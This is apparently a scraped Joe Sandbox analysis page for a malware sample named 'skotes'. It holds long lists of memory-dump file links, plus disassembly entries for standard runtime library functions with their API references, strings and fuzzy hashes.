Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 21e1408ab4befecbd1159e92d020fbfdf8dbc89e935d091a2f667ed5ff9ec15d
Instruction ID: ba4b2ce4befed26fda965385ad0f3bf1945ba3b008e2b09604d2508331a0b9b1
Opcode Fuzzy Hash: 21e1408ab4befecbd1159e92d020fbfdf8dbc89e935d091a2f667ed5ff9ec15d
Instruction Fuzzy Hash: 96012B77718632256624601D9D027A623CA9BC2BB8715002AFC58FB2C2EF44DE8222A4

Function 0004FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0004FB06

Strings

GetThreadGroupAffinity, xrefs: 0004FA93
GetCurrentProcessorNumberEx, xrefs: 0004FABE
kernel32.dll, xrefs: 0004FA7A
SetThreadGroupAffinity, xrefs: 0004FA87

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: c692e83348e928d01addb39c7e5188067d275caf99121780a54303f06eb319fa
Instruction ID: 5d57d0ea173a1347ae76e143f96f4f42f47b56881746396da39012bde400706b
Opcode Fuzzy Hash: c692e83348e928d01addb39c7e5188067d275caf99121780a54303f06eb319fa
Instruction Fuzzy Hash: 010128B15453122DE710B7B55C83DFF35DCEF41708720143BBA85E7293EE68E80582AA

Function 00062097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 000620B7

Part of subcall function 0005CAF3: Mailbox.LIBCMT ref: 0005CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 000620C8
StructuredWorkStealingQueue.LIBCMT ref: 000620FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0006210F

Strings

e, xrefs: 000620D9

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: dd38d7316d45bca1deae59b9606ffff3cd7deef1ef5fb7f135184ba3b7d5611d
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: A411E335205904EBEB51DE69C881AAB77A6EF12324B18C16AFC068F203DF71D941CB91

Function 0004D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0004D0A5

Strings

WakeAllConditionVariable, xrefs: 0004D069
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0004D03B
SleepConditionVariableCS, xrefs: 0004D05D
kernel32.dll, xrefs: 0004D04C

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: ef1ae77d3b070d265b211d8450b154cc9c6cf36f693e62aee1dabc487eaf1ea7
Instruction ID: acc2fb38542d6ee505b62ff8255450f0c07569b10b85a3246996111c722ba9f3
Opcode Fuzzy Hash: ef1ae77d3b070d265b211d8450b154cc9c6cf36f693e62aee1dabc487eaf1ea7
Instruction Fuzzy Hash: 41012BB06C6B11ADBA313BB66C01FAB61CCDF42B48F061126BE40EB390DE90DD035665

Function 0005E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0005E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0005E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0005E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0005E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0005E9DC

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 6ac5913b46dac1a91faa80dcaa6b393704a0d2c063c4b22897ee4b654c2d1d01
Instruction ID: 2dab7fe2e6f747a852b07ee72e292720631c802e4b2f859921b8b8d4471ef8a7
Opcode Fuzzy Hash: 6ac5913b46dac1a91faa80dcaa6b393704a0d2c063c4b22897ee4b654c2d1d01
Instruction Fuzzy Hash: 6141AF34A00209EFDF49DF64C858AAEB7B6FF88311F008159E846A7391CB74AE04CF80

Function 0004ECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0004ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0004ED17

Part of subcall function 0004F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0004F3FA

__alloca_probe_16.LIBCMT ref: 0004ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0004ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0004EDC6

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
